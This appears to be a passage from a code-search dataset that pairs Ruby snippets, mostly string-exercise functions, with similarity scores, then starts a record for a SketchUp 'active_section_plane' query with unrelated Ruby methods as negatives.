"def count_triple(str)\n sum = 0\n str.split(//).each_cons 3 do |a,b,c|\n sum += 1 if a == b && b == c\n end\n sum\nend",
"def contains_pair digits\n valid = false\n current_digit = digits.first\n current_count = 0\n digits.each do |d|\n if d == current_digit\n current_count += 1\n else\n if current_count == 2\n valid = true\n end\n current_count = 1\n current_digit = d\n end\n end\n if current_count == 2\n valid = true\n end\n valid\nend",
"def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)\n\n str1.chars.each {|el| hash1[el] += 1}\n str2.chars.each {|el| hash1[el] += 1}\n\n hash1.each {|k,_| hash1[k].even? ? next : (return false) }\n true\nend",
"def g_happy(string)\n count_g = 0 \n next_to = 0 \n string.size.times do |n|\n if string[n] == \"g\"\n count_g += 1\n end\n if string[n] == \"g\" && string[n+1] == \"g\"\n next_to += 1\n end \n end \n if next_to == (count_g-1) \n return true\n else \n return false\n end \nend",
"def bracket_matcher(string)\n @result = true\n @elements = string.split('(')\n @result = false if @elements.length == 1 || @elements.empty?\n @opening_bracket_count = @elements.length - 1\n @closing_bracket_count = 0\n @elements.each_with_index do |element, index|\n next if index == 0\n\n # finding how many times exactly closing bracket is present in each element of the array\n # closing_bracket_ocurrences = element.count(')')\n @closing_bracket_count += element.count(')')\n end\n @result = false if @opening_bracket_count != @closing_bracket_count\n @result\nend",
"def palindrome_match?(str1, str2)\n # split the word in half to check if even\n # check if even check first half against second half reversed\n # return true if match \n num_check = str1.length/2\n if num_check.even?\n ary_1 = str1.chars.each_slice(str1.length/2)\n ary_2 = str2.chars.each_slice(str2.length/2)\n return true if str1[0] == str2[0]\n end \n false\nend",
"def fourth_anagram?(string1, string2)\n s1_hash = Hash.new(0)\n s2_hash = Hash.new(0)\n\n (0...string1.length).each do |idx|\n char1 = string1[idx]\n char2 = string2[idx]\n\n s1_hash[char1] += 1\n s2_hash[char2] += 1\n end\n\n s1_hash == s2_hash\n\nend",
"def print_pair_isograms(words)\n pair_isograms = []\n words.each do |word|\n chars = {}\n word.each_char do |c|\n if chars.has_key? c\n chars[c] += 1\n else\n chars[c] = 1\n end\n end\n if chars.select{|k, v| v != 2}.size == 0\n pair_isograms.push word\n end\n end\n puts pair_isograms\nend",
"def is s, d, done, i\n return 0, [] if i == s.length\n return done[i] if !!done[i]\n cuc, cs = is s, d, done, i + 1\n muc = 1 + cuc\n msplit = cs\n d.each do |w|\n if w == s[i...i + w.length]\n cuc, cs = is s, d, done, i + w.length\n if cuc < muc\n muc = cuc\n msplit = [i - 1, i + w.length - 1] + cs\n end\n end\n end\n done[i] = [muc, msplit]\n return [muc, msplit]\nend",
"def find_key_lengths string\n array = []\n string_array = string.split(\"\")\n guess = (3..8).to_a #if generalizing, 8 can be string_array.length\n guess.each do |x|\n matches = 0\n string_array.each.with_index do |y, i|\n if string_array[i] == string_array[i + x]\n matches += 1\n end\n end\n array.push(matches)\n end\n array.map.with_index{|x, i| i + 3 if x >= (array.max)}.compact\nend",
"def solve(str)\n idx = 0\n count = 0\n\n substr_1 = ''\n substr_2 = ''\n\n loop do\n substr_1 = str[0..idx]\n substr_2 = str[(idx + 1)..-1]\n\n substr_1.to_i.odd? ? count += 1 : nil \n substr_2.to_i.odd? ? count += 1 : nil \n \n idx += 1\n break if idx >= str.length\n end\n count\nend",
"def fourth_anagram?(str1, str2)\n counter = Hash.new(0)\n (str1 << str2).each_char do |k, v|\n counter[k] += 1\n end\n !counter.values.any? { |ele| ele == 1 }\nend",
"def pal_perm?(string)\n # O(N + N) = O(N)\n string = string.downcase.split('')\n # O(N)\n string.delete(' ')\n solo_allowed = string.count.odd?\n\n # O(N + N) = O(N)\n string.group_by { |letter| letter }.each do |letter, instances|\n if instances.count.odd?\n return false if !solo_allowed\n solo_allowed = false\n end\n end\n\n return true\nend",
"def fifth_anagram?(string1, string2) # Time: O(n) * O(n) * O(n) => O(n) Space = O(1)\n count = Hash.new(0)\n string1.split(\"\").each {|char1| count[char1]+=1}\n string2.split(\"\").each {|char2| count[char2]-=1}\n count.all? {|k,v| v.zero?}\nend",
"def triplet_true?(str)\n str.each_char.with_index do |char, idx|\n return true if char == str[idx+1] && char == str[idx+2]\n end\n false\nend",
"def fourth_anagram?(str1, str2)\n count1 = Hash.new(0)\n \n\n str1.each_char{|char| count1[char] += 1}\n str2.each_char{|char| count1[char] -= 1}\n\n count1.values.all?{|value| value == 0}\nend",
"def fourth_anagram?(str1, str2)\n char_count = Hash.new(0)\n str1.each_char do |el|\n char_count[el] += 1\n end\n str2.each_char do |el|\n if char_count[el] == 0\n return false\n else\n char_count[el] -= 1\n end\n end\n str1.length == str2.length\nend",
"def fourth_anagram?(string1, string2)\n # count1 = Hash.new(0)\n # count2 = Hash.new(0)\n\n # string1.each_char {|char| count1[char] += 1}\n # string2.each_char {|char| count2[char] += 1}\n\n # count1 == count2\n\n count = Hash.new(0)\n\n string1.each_char {|char| count[char] += 1}\n string2.each_char do |char|\n count[char] -= 1\n return false if count[char] < 0\n end\n\n count.values.all? {|el| el == 0}\nend",
"def fourth_anagram?(string1, string2) # Time: O(n) * O(n) => O(n) Space = O(1)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n string1.split(\"\").each {|char1| hash1[char1]+=1}\n string2.split(\"\").each {|char2| hash2[char2]+=1}\n\n hash1 == hash2\nend",
"def g_happy(str)\n happy = true\n str.size.times do |n|\n if str[n] == \"g\" && str[n + 1] != \"g\" && str[n - 1] != \"g\"\n happy = false\n end\n end\n return happy\nend",
"def fourth_anagram?(str1,str2)\n counter = Hash.new(0)\n str1.each_char { |chr| counter[chr] += 1 }\n str2.each_char { |chr| counter[chr] -= 1 }\n counter.all? { |k, v| v == 0 }\nend",
"def fifth_anagram?(str, str2)\n return false unless str.length == str2.length\n str_hash = hash_creator(str)\n\n str_hash.each do |k,v|\n return false unless str.include?(k)\n if str2.count(k) != v\n return false\n end\n end\n\n true\nend",
"def fourth_anagram?(string1, string2)\r\n counter = Hash.new(0)\r\n (0...string1.length).each do |i|\r\n increment = string1[i]\r\n decrement = string2[i]\r\n counter[increment] += 1\r\n counter[decrement] -= 1\r\n end\r\n # string1.each_char do |char|\r\n # counter[char] += 1\r\n # end\r\n\r\n # string2.each_char do |char|\r\n # counter[char] -= 1\r\n # end\r\n counter.values.all?(0)\r\nend",
"def count_triple(str)\n str.length - str.gsub(/(.)(?=\\1\\1)/,'').length\nend",
"def isBalanced? str\n\n nParentheses = 0\n smiley = 0\n frowny = 0\n\n (0...str.length).each do |i|\n \n if str[i] == \":\" && str[i+1] == \"(\" then frowny += 1 \n elsif str[i] == \":\" && str[i+1] == \")\" then smiley += 1 end\n\n if str[i] == \"(\" then nParentheses += 1\n elsif str[i] == \")\" then nParentheses -= 1 end\n\n if nParentheses < 0 \n if smiley >= nParentheses.abs\n smiley -= nParentheses.abs\n nParentheses = 0\n else\n return false\n end\n end\n end\n\n if nParentheses == 0 then return true\n elsif frowny >= nParentheses then return true\n else return false end\n \nend",
"def fourth_anagram?(str, str2)\n\n str_hash = hash_creator(str)\n str2_hash = hash_creator(str2)\n\n str_hash.each do |k,v|\n return false unless str2_hash.has_key?(k)\n if v != str2_hash[k]\n return false\n end\n end\n # true\n str2_hash.each do |k, v|\n return false unless str_hash.has_key?(k)\n if v != str_hash[k]\n return false\n end\n end\n\n return true\nend",
"def is_palindrome_permutation?(string)\n char_hash = Hash.new(0)\n string_length = 0\n\n string.length.times do |i|\n # count only letter characters\n if(string[i].match(/[a-zA-z]/))\n char_hash[string[i]] += 1\n string_length += 1\n end\n end\n\n # method1\n odd_values_count = char_hash.select{ |k, v| v.odd? }.length\n\n if string.length.odd?\n odd_values_count == 1 ? true : false\n else\n odd_values_count == 0 ? true : false\n end\n\n # method2: another way; odd_values_count cannot exceed 1\n\n odd_values_count = 0\n\n char_hash.each do |k, v|\n odd_values_count += 1 if v.odd?\n return false if odd_values_count > 1\n end\n\n return true\nend",
"def fourth_anagram?(str1, str2)\n hash1 = Hash.new { |h,k| h[k] = [0,0] }\n \n str1.chars.each do |el|\n hash1[el][0] += 1\n end\n \n str2.chars.each do |el|\n hash1[el][1] += 1\n end\n \n hash1.each do |k, v|\n return false unless v[0] == v[1]\n end\n true\n\nend",
"def one_away?(str1, str2)\n if (str1.length - str2.length).between?(0,1)\n str1_index = 0\n str2_index = 0\n errors = 0\n\n count_errors = lambda do |str1, str2|\n if str1[str1_index] == str2[str2_index]\n str1_index += 1\n str2_index += 1\n else\n if errors.zero?\n errors += 1\n else\n return false\n end\n\n if str1.length > str2.length\n str1_index += 1\n elsif str2.length > str1.length\n str2_index += 1\n else\n str1_index += 1\n str2_index += 1\n end\n end\n end\n\n [str1.length, str2.length].max.times do |k|\n return false if !count_errors.call(str1, str2)\n end\n else\n false\n end\n\n return true\nend",
"def get_pal str\n arr = str.split('')\n letters_used = {}\n odd = 0\n\n arr.each do |l|\n if !letters_used[l].nil?\n letters_used[l] = letters_used[l] + 1\n if letters_used[l] % 2 == 0\n odd -= 1\n else\n odd += 1\n end\n else\n letters_used[l] = 1\n odd += 1\n end\n end\n odd <= 1\nend",
"def got_three? a\n b = a.uniq.sort\n arr = []\n x = 0\n while x < b.count\n c = (b[x].to_s + ' ') * 2 + b[x].to_s\n arr << (a.join(\" \").include? c) \n x = x + 1\n end\n arr.include? true\nend",
"def part2 groups\n yeses = groups.map { | g |\n members = g.split(\"\\n\")\n shared_answers = members.reduce(\"abcdefghijklmnopqrstuvwxyz\".chars) { |m,v |\n m & v.chars\n }.uniq.length\n }.reduce(0){ |m,v|\n m+v\n }\nend",
"def balanced(string)\n matching = {\"{\" => \"}\", \"[\" => \"]\", \"(\"=>\")\"}\n\n record = Stack.new\n chars = string.split(\"\")\n \n chars.each do |s|\n if matching.has_key?(s)\n record.push(s)\n else \n check = record.pop\n if matching[check] != s \n return false \n end \n end \n \n end\n\n return false if !record.empty?\n return true \nend",
"def got_three?(arr)\n !!(arr.map(&:to_s).join =~ /(.)\\1\\1/)\nend",
"def fourth_anagram?(str, target_str)\n return false unless str.length == target_str.length\n str_counter = Hash.new(0)\n target_counter = Hash.new(0)\n\n str.each_char {|char| str_counter[char] += 1}\n target_str.each_char {|char| target_counter[char] += 1}\n str_counter.keys.all? {|k| str_counter[k] == target_counter[k]}\nend",
"def mutation?(string_1, string_2)\n \n string_2.each_char do |char|\n if string_1.count(char) < string_2.count(char)\n return false\n break\n else\n return true\n break\n end \n end \nend",
"def fourth_anagram?(string1, string2)\n arr1 = string1.chars\n arr2 = string2.chars\n\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n arr1.each { |el| hash1[el] += 1}\n arr2.each { |el| hash2[el] += 1}\n\n hash1 == hash2\nend",
"def every_possible_pairing_of_word(arr)\n reformed_array = []\n index = 0\n arr.each do |entry|\n arr.each do |entry2|\n if reformed_array.include? [entry, entry2]\n \n elsif reformed_array.include? [entry2, entry]\n elsif entry != entry2 \n reformed_array.insert(index, [entry, entry2])\n index += 1\n end\n end\n end\n return reformed_array\nend",
"def love_test(s, t)\n e = []\n m = s.gsub(\" \",\"\").split(\"\") + t.gsub(\" \",\"\").split(\"\")\n e << s.gsub(\" \",\"\").split(\"\").uniq\n e << t.gsub(\" \",\"\").split(\"\").uniq\n l = e.flatten.group_by(&:itself).map { |i, d| [i, d.count]}.to_h\n k = l.keep_if{ |k, v| v > 1}\n print (m.size/k.size)\nend",
"def ExOh(str)\n\n return true if str.scan(/x/).size == str.scan(/o/).size\n return false \n \nend",
"def fourth_anagram?(str1, str2)\n ans = Hash.new(0)\n \n str1.split(\"\").each { |let| ans[let] += 1}\n str2.split(\"\").each { |let| ans[let] -= 1}\n ans.all? {|k,v| v.zero?}\n\nend",
"def permutations?(string1, string2) \n hash = {}\n if string1.length == string2.length\n string2.each_char do |char|\n if string1.include?(char)\n if hash[char] == true\n repeated = char+char\n hash[repeated] = true\n else \n hash[char] = true\n end\n else \n hash[char]= false\n end\n end\n else \n return false\n end\n\n occurences = 0\n hash.keys.each do |key|\n if hash[key] == true\n occurences +=1\n end\n end\n\n if occurences == string1.length\n return true\n else \n return false\n end\n\nend",
"def fourth_anagram?(string1, string2)\n s1 = Hash.new(0)\n s2 = Hash.new(0)\n string1.chars { |ch| s1[ch] += 1 }\n string2.chars { |ch| s2[ch] += 1 }\n s1.all? do |k, v|\n s2[k] == v\n end\nend",
"def game_of_thrones string\n s1 = string.chars\n freq = Hash.new(0)\n count = 0\n\n s1.each{ |key| freq[key]+=1 }\n\n freq.each{ |k,v| count+=1 if v.odd? }\n\n puts count < 2 ? 'YES' : 'NO'\n \nend",
"def fourth_anagram?(first_word, second_word)\n first_hash = Hash.new(0)\n second_hash = Hash.new(0)\n\n first_word.chars.each { |char| first_hash[char] += 1 }\n second_word.chars.each { |char| second_hash[char] += 1 }\n\n first_hash == second_hash\nend",
"def g_happy(str)\n (str.size).times do |x|\n slice = str[x + 1..(str.size + 1)]\n if slice == \"gg\"\n return true\n end\n end\nend",
"def match_maker(opposites_attract, *elements) #method takes a boolean, and any number of booleans\n to_return = [] #creating an empty array\n elements.each_slice 2 do |first, last| #splits the array into an array of pairs\n first = !!first #conversion to boolean\n last = !! last\n result = if opposites_attract\n first != last #first does not equal last\n else\n first ==last #or they equal\n end\n to_return << result #append result \nend \nto_return\nend",
"def char_check(word_1, word_2, template_length)\n matches = [] # array for containing matching characters from word_2 ('char')\n $iterator = 0\n # Character loop\n word_1.each do |char_1|\n sample = char_1\n word_2.each do |char_2|\n if (sample == char_2)\n matches.push(char_2)\n word_2.delete_at($iterator)\n $iterator += 1\n else\n $iterator += 1\n end\n end\n end\n # Check that the number of matches implies an anagram\n matches.length == template_length ? true : false\nend",
"def word_square?(arr)\n # first brute force, using i and j \n i = 0 \n while i < arr.length \n j = 0 \n while j < arr.length \n # next if i >= j will overflow as j never increments\n if i >= j \n j+= 1 \n next \n end \n return false unless arr[i][j] == arr[j][i]\n j += 1 \n end \n i+=1 \n end \n true\n # now think how i can optimize it when i == j \n # it's comparing itself against itself, so we don't need to check \n # also we checked each pair twice , [0][2] first and [2][0]\n # the first round since we increment inner loop first, second number\n # is bigger, so we don't need to check if first number is bigger than secodn number \n # means it's the same pair \nend",
"def fourth_anagram?(string, strong)\n s_hash = Hash.new(0)\n ss_hash = Hash.new(0)\n string.chars.each do |el|\n s_hash[el] += 1\n end\n strong.chars.each do |el|\n ss_hash[el] += 1\n end\n s_hash.to_a.sort == ss_hash.to_a.sort\nend",
"def second_anagram?(second_string)\n arr1 = self.chars\n arr2 = second_string.chars\n arr1.each_with_index do |let1,idx1|\n arr2.each_with_index do |let2,idx2|\n if let1 == let2\n arr1[idx1] = nil\n arr2[idx2] = nil\n end\n end\n end\n return true if arr1.compact.empty? && arr2.compact.empty?\n false\n end",
"def count_smileys(arr)\n arr.count { |face| face =~ /(:|;){1}(-|~)?(\\)|D)/ }\nend",
"def g_happy(str)\n i = 0\n count = 0\n str.size.times do |letter|\n if str[letter] == \"g\"\n if str[letter] != str[i + 1]\n if str[letter] != str[i - 1]\n return false\n end\n end\n else\n count += 1\n end\n i += 1\n end\n if count == str.size\n return false\n else\n return true\n end\nend",
"def g_happy(str)\n i = 0\n count = 0\n str.size.times do |letter|\n if str[letter] == \"g\"\n if str[letter] != str[i + 1]\n if str[letter] != str[i - 1]\n return false\n end\n end\n else\n count += 1\n end\n i += 1\n end\n if count == str.size\n return false\n else\n return true\n end\nend",
"def fourth_anagram?(str_1, str_2)\n counts_1 = Hash.new(0)\n #counts_2 = Hash.new(0)\n\n str_1.each_char { |char| counts_1[char] += 1 }\n str_2.each_char { |char| counts_1[char] -= 1 }\n\n #counts_1 == counts_2\n counts_1.values.all? { |value| value == 0 }\nend",
"def fourth_anagram?(first_word, second_word)\n first_hash = Hash.new(0)\n second_hash = Hash.new(0)\n first_word.each_char do |char|\n first_hash[char] += 1\n end\n second_word.each_char do |char|\n second_hash[char] += 1\n end\n first_hash == second_hash\nend",
"def prime_chars?(strings_array)\n sum = 0\n new_array = []\n strings_array.join.split(\"\").each {|x| sum += 1}\n if sum != 1 && (strings_array != [\"\"] && strings_array != [])\n \t(2..sum/2).map {|a| new_array << sum % a }\n !(new_array.include? 0) \n else\n \tfalse\n end\nend",
"def fourth_anagram?(str1, str2)\n count1 = Hash.new(0) \n count2 = Hash.new(0)\n\n str1.each_char {|char| count1[char] += 1} \n str2.each_char {|char| count2[char] += 1}\n \n count1 == count2\nend",
"def has_subpattern_x?(s)\n return false if s.size == 1\n 0.upto(s.size-1) do |i|\n if s[i..-1].include?(s[0..i])\n rpp = s.size / s[0..i].size\n return true if s[0..i] * rpp == s\n else\n return false\n end\n end\nend",
"def second_anagram?(first_str, second_str)\n first_str.each_char.with_index do |ele, i| # n * m\n idx = second_str.index(ele)\n second_str[idx] = \"\" unless idx.nil?\n end\n return true if second_str.length == 0\n false\nend",
"def fourth_anagram?(str1, str2)\n str1_counts = Hash.new(0)\n str2_counts = Hash.new(0)\n\n str1.chars.each { |letter| str1_counts[letter] += 1 }\n str2.chars.each { |letter| str2_counts[letter] += 1 }\n\n str1_counts == str2_counts\nend",
"def fourth_anagram?(str1, str2)\n return false if str1.length != str2.length\n hash = {}\n str1.each_char {|ele| hash[ele] = true}\n str2.chars.all?{|ch| hash.key?(ch)}\nend"
] | [
"0.6756942",
"0.6598491",
"0.63005984",
"0.6136633",
"0.604882",
"0.6035375",
"0.60352606",
"0.6015439",
"0.5949369",
"0.5918694",
"0.5903236",
"0.5894701",
"0.588379",
"0.58765554",
"0.58710974",
"0.5868209",
"0.58590335",
"0.58537287",
"0.582477",
"0.581576",
"0.5803634",
"0.57954377",
"0.5785007",
"0.57796323",
"0.5772278",
"0.5772227",
"0.5771705",
"0.57682806",
"0.5765386",
"0.576204",
"0.5753869",
"0.5751189",
"0.5719843",
"0.57150775",
"0.57147455",
"0.5711982",
"0.5707869",
"0.5706679",
"0.57056016",
"0.5689319",
"0.5685261",
"0.5675014",
"0.5660295",
"0.5654497",
"0.56397927",
"0.56352687",
"0.5604344",
"0.559906",
"0.55988616",
"0.5596957",
"0.55933076",
"0.5587092",
"0.55867887",
"0.557771",
"0.5570701",
"0.55691826",
"0.55648506",
"0.5563244",
"0.55631524",
"0.55625063",
"0.5560277",
"0.5559604",
"0.55500007",
"0.55460715",
"0.5544297",
"0.5532391",
"0.5531962",
"0.55305374",
"0.5526932",
"0.55261594",
"0.55238473",
"0.55228364",
"0.5520393",
"0.55197155",
"0.5515875",
"0.55148226",
"0.5512801",
"0.5510141",
"0.55088955",
"0.5508151",
"0.55034184",
"0.55012995",
"0.54994714",
"0.5493105",
"0.549161",
"0.54903054",
"0.5486904",
"0.54793173",
"0.5478011",
"0.54768103",
"0.54755366",
"0.54755366",
"0.5474915",
"0.54719025",
"0.54717946",
"0.54649127",
"0.5461119",
"0.5456035",
"0.54556626",
"0.545537"
] | 0.5826903 | 18 |
The active_section_plane method is used to access the currently active section plane in the Entities object. | def active_section_plane
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def active_section_plane\n end",
"def active_section_plane\n end",
"def active_section_plane=(sec_plane)\n end",
"def add_section_plane(plane)\n end",
"def plane\n return nil if @vertices.length < 3\n Plane.three_points(*@vertices[0..2])\n end",
"def has_plane(plane)\n @planes.include?(plane)\n end",
"def is_on_plane?(plane)\n plane.substitute(self) == 0\n end",
"def use_section_planes?\n end",
"def plane\n end",
"def is_plane\n\t\t@angle == 0 || @angle == 180\n\tend",
"def on_plane?(plane)\n end",
"def show \n id = params[:id] # id is part of the route so we can grab the params[:id]\n @plane = Plane.find(id)\n\n render :show\n end",
"def add_plane(plane)\n @planes << plane\n end",
"def active_classroom_sections\n @active_classroom_sections ||= current_classroom.classroom_type.active_sections.to_s.html_safe\n end",
"def use_section_planes=(setting)\n end",
"def add_plane()\n planes << Plane.new(\n gen_location,\n 0,\n width,\n height,\n gen_speed(),\n true\n )\n end",
"def get_active_state( section , params )\n \n if section == ADMIN_SECTION[:create_employee] \n if selected_create_employee_tab?(params)\n return ACTIVE\n end\n end\n \n \n if section == ADMIN_SECTION[:all_employees] or section == ADMIN_SECTION[:edit_employee]\n if selected_all_employees_tab?(params) or \n selected_edit_employee_tab?(params)\n return ACTIVE\n end\n end\n \n \n end",
"def show\n @plane = Plane.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plane }\n end\n end",
"def active_tab\n children.find { |child| child.has_class(:active) }\n end",
"def section(ident)\n @sections[ident]\n end",
"def update\n @plane = Plane.find(params[:id])\n\n respond_to do |format|\n if @plane.update_attributes(params[:plane])\n format.html { redirect_to @plane, notice: 'Plane was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plane.errors, status: :unprocessable_entity }\n end\n end\n end",
"def next_section\n @current_section = Elf.elf_nextscn(self,@current_section)\n\n if @current_section.null?\n @current_section = nil\n return nil\n else\n return Section.new(@current_section)\n end\n end",
"def get_section(section_id)\n self.sections.find { |s| s.id == section_id }\n end",
"def all_planes\n self.planes.collect do |plane_obj|\n plane_obj.update_status_and_location\n end\n end",
"def section_selected?(section_name)\n if article_id_present?\n current_article.section.name == section_name\n elsif section_id_present?\n current_section.name == section_name\n else # none of the necessary controllers/actions is active\n false\n end\n end",
"def current_section\n if section = @temporary_section then\n @temporary_section = nil\n else\n section = @current_section\n end\n\n section\n end",
"def create_face_from_section(section)\n plane=section.get_plane\n bounds=Sketchup.active_model.bounds\n entities=Sketchup.active_model.active_entities\n bmin = bounds.min\n bminx = bmin.x\n bminy = bmin.y\n bminz = bmin.z\n bmax = bounds.max\n bmaxx = bmax.x\n bmaxy = bmax.y\n bmaxz = bmax.z\n ### make group\n newgroup=entities.add_group\n newgroupentities=newgroup.entities\n c1 = [bminx, bminy, bminz]\n c2 = [bmaxx, bminy, bminz]\n c3 = [bminx, bminy, bmaxz]\n c4 = [bmaxx, bminy, bmaxz]\n c5 = [bminx, bmaxy, bmaxz]\n c6 = [bmaxx, bmaxy, bmaxz]\n c7 = [bminx, bmaxy, bminz]\n c8 = [bmaxx, bmaxy, bminz]\n e1 = newgroupentities.add_edges [ c1, c2 ]\n e2 = newgroupentities.add_edges [ c3, c4 ]\n e3 = newgroupentities.add_edges [ c5, c6 ]\n e4 = newgroupentities.add_edges [ c7, c8 ]\n e5 = newgroupentities.add_edges [ c1, c3 ]\n e6 = newgroupentities.add_edges [ c2, c4 ]\n e7 = newgroupentities.add_edges [ c7, c5 ]\n e8 = newgroupentities.add_edges [ c8, c6 ]\n e9 = newgroupentities.add_edges [ c1, c7 ]\n e10 = newgroupentities.add_edges [ c3, c5 ]\n e11 = newgroupentities.add_edges [ c4, c6 ]\n e12 = newgroupentities.add_edges [ c2, c8 ]\n line1 = e1[0].line\n line2 = e2[0].line\n line3 = e3[0].line\n line4 = e4[0].line\n line5 = e5[0].line\n line6 = e6[0].line\n line7 = e7[0].line\n line8 = e8[0].line\n line9 = e9[0].line\n line10 = e10[0].line\n line11 = e11[0].line\n line12 = e12[0].line\n e1[0].erase!\n e2[0].erase!\n e3[0].erase!\n e4[0].erase!\n e5[0].erase!\n e6[0].erase!\n e7[0].erase!\n e8[0].erase!\n e9[0].erase!\n e10[0].erase!\n e11[0].erase!\n e12[0].erase!\n ### find intersects with plane\n p1 = Geom.intersect_line_plane line1, plane\n p2 = Geom.intersect_line_plane line2, plane\n p3 = Geom.intersect_line_plane line3, plane\n p4 = Geom.intersect_line_plane line4, plane\n p5 = Geom.intersect_line_plane line5, plane\n p6 = Geom.intersect_line_plane line6, plane\n p7 = Geom.intersect_line_plane line7, plane\n p8 = Geom.intersect_line_plane line8, plane\n p9 = Geom.intersect_line_plane line9, plane\n p10 = Geom.intersect_line_plane line10, plane\n p11 = Geom.intersect_line_plane line11, plane\n p12 = Geom.intersect_line_plane line12, plane\n if p1 ### NOT z\n e1 = newgroupentities.add_line p1,p2\n e2 = newgroupentities.add_line p2,p3\n e3 = newgroupentities.add_line p3,p4\n e4 = newgroupentities.add_line p4,p1\n elsif p5 ### in z\n e1 = newgroupentities.add_line p5,p6\n e2 = newgroupentities.add_line p6,p8\n e3 = newgroupentities.add_line p8,p7\n e4 = newgroupentities.add_line p7,p5\n else\n e1 = newgroupentities.add_line p9,p10\n e2 = newgroupentities.add_line p10,p11\n e3 = newgroupentities.add_line p11,p12\n e4 = newgroupentities.add_line p12,p9\n end #if p1 etc\n face = newgroupentities.add_face [e1,e2,e3,e4]\n newgroup\n end",
"def show\n @sections = @course.sections.all.to_a\n end",
"def section\n @section.call\n end",
"def distance_to_plane(plane)\n end",
"def set_airplane\n @airplane = Airplane.find(params[:id])\n end",
"def set_airplane\n @airplane = Airplane.find(params[:id])\n end",
"def section\n BSection.store[@section_id]\n end",
"def plane_params\n params.require(:plane).permit(:name, :model, :year, :description, :matricula, :status)\n end",
"def authenticate(section = nil)\n unless (section ? current_user.access?(section) : current_user.admin?)\n unauthorized\n end\n end",
"def get_section_with_http_info(section_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesFirewallApi.get_section ...'\n end\n # verify the required parameter 'section_id' is set\n if @api_client.config.client_side_validation && section_id.nil?\n fail ArgumentError, \"Missing the required parameter 'section_id' when calling ManagementPlaneApiServicesFirewallApi.get_section\"\n end\n # resource path\n local_var_path = '/firewall/sections/{section-id}'.sub('{' + 'section-id' + '}', section_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FirewallSection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesFirewallApi#get_section\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def project_to_plane\n end",
"def setup_add_plane\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 3\n file = @acts[1]\n sox = @acts[2] # Scroll X\n soy = @acts[3] # Scroll Y \n z = (@acts[4] ? Graphics.height + 10 : 4)\n dur = @acts[5] || 2\n opac = @acts[6] || 255\n get_spriteset.battle_plane.set(file,sox,soy,z,dur,opac)\n end",
"def active?\n self.internal_object['status'] == 'Active'\n end",
"def show\n if !params.has_key?(:section)\n redirect_to courses_path and return\n end\n\n @course = Course.find(params[:id])\n authorize! :read, @course\n @section = Section.find(params[:section])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def distance_to_plane(plane)\n plane.substitute(self).abs / (plane.find_normal_vector.length)\n end",
"def set_plane_picture\n @plane_picture = PlanePicture.find(params[:id])\n end",
"def active_nav tab\n\t return session['tab'] == tab ? 'active' : ''\n\tend",
"def section_by_id(section_id = @one_section_id)\n url = @url_sections + '/' + section_id\n @nsx_client.get(url)\n end",
"def active?\n @_active_status ||= ( attributes.include?('active') ? !!self.active : true )\n end",
"def switch_section\n\t\t#enrollment works here\n\t\t@enrollment = Enroll.find(params[:id])\n\t\t@section = Section.find(@enrollment.section_id)\n\t\t@course = Course.find(@enrollment.course_id)\n\t\t@open_sections = @section.getOtherOpenSections()\n\t\t@offer = @enrollment.offer\n\t\t@compatable_offers = Offer.getCompatableOffers(@section)\n\t\t@transactions = @enrollment.getTransactionsInReverseOrder\n @section_limit = @section.getLimit()\n\tend",
"def get_section_state_with_http_info(section_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesFirewallApi.get_section_state ...'\n end\n # verify the required parameter 'section_id' is set\n if @api_client.config.client_side_validation && section_id.nil?\n fail ArgumentError, \"Missing the required parameter 'section_id' when calling ManagementPlaneApiServicesFirewallApi.get_section_state\"\n end\n if @api_client.config.client_side_validation && !opts[:'barrier_id'].nil? && opts[:'barrier_id'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"barrier_id\"]\" when calling ManagementPlaneApiServicesFirewallApi.get_section_state, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/firewall/sections/{section-id}/state'.sub('{' + 'section-id' + '}', section_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'barrier_id'] = opts[:'barrier_id'] if !opts[:'barrier_id'].nil?\n query_params[:'request_id'] = opts[:'request_id'] if !opts[:'request_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FirewallSectionState')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesFirewallApi#get_section_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
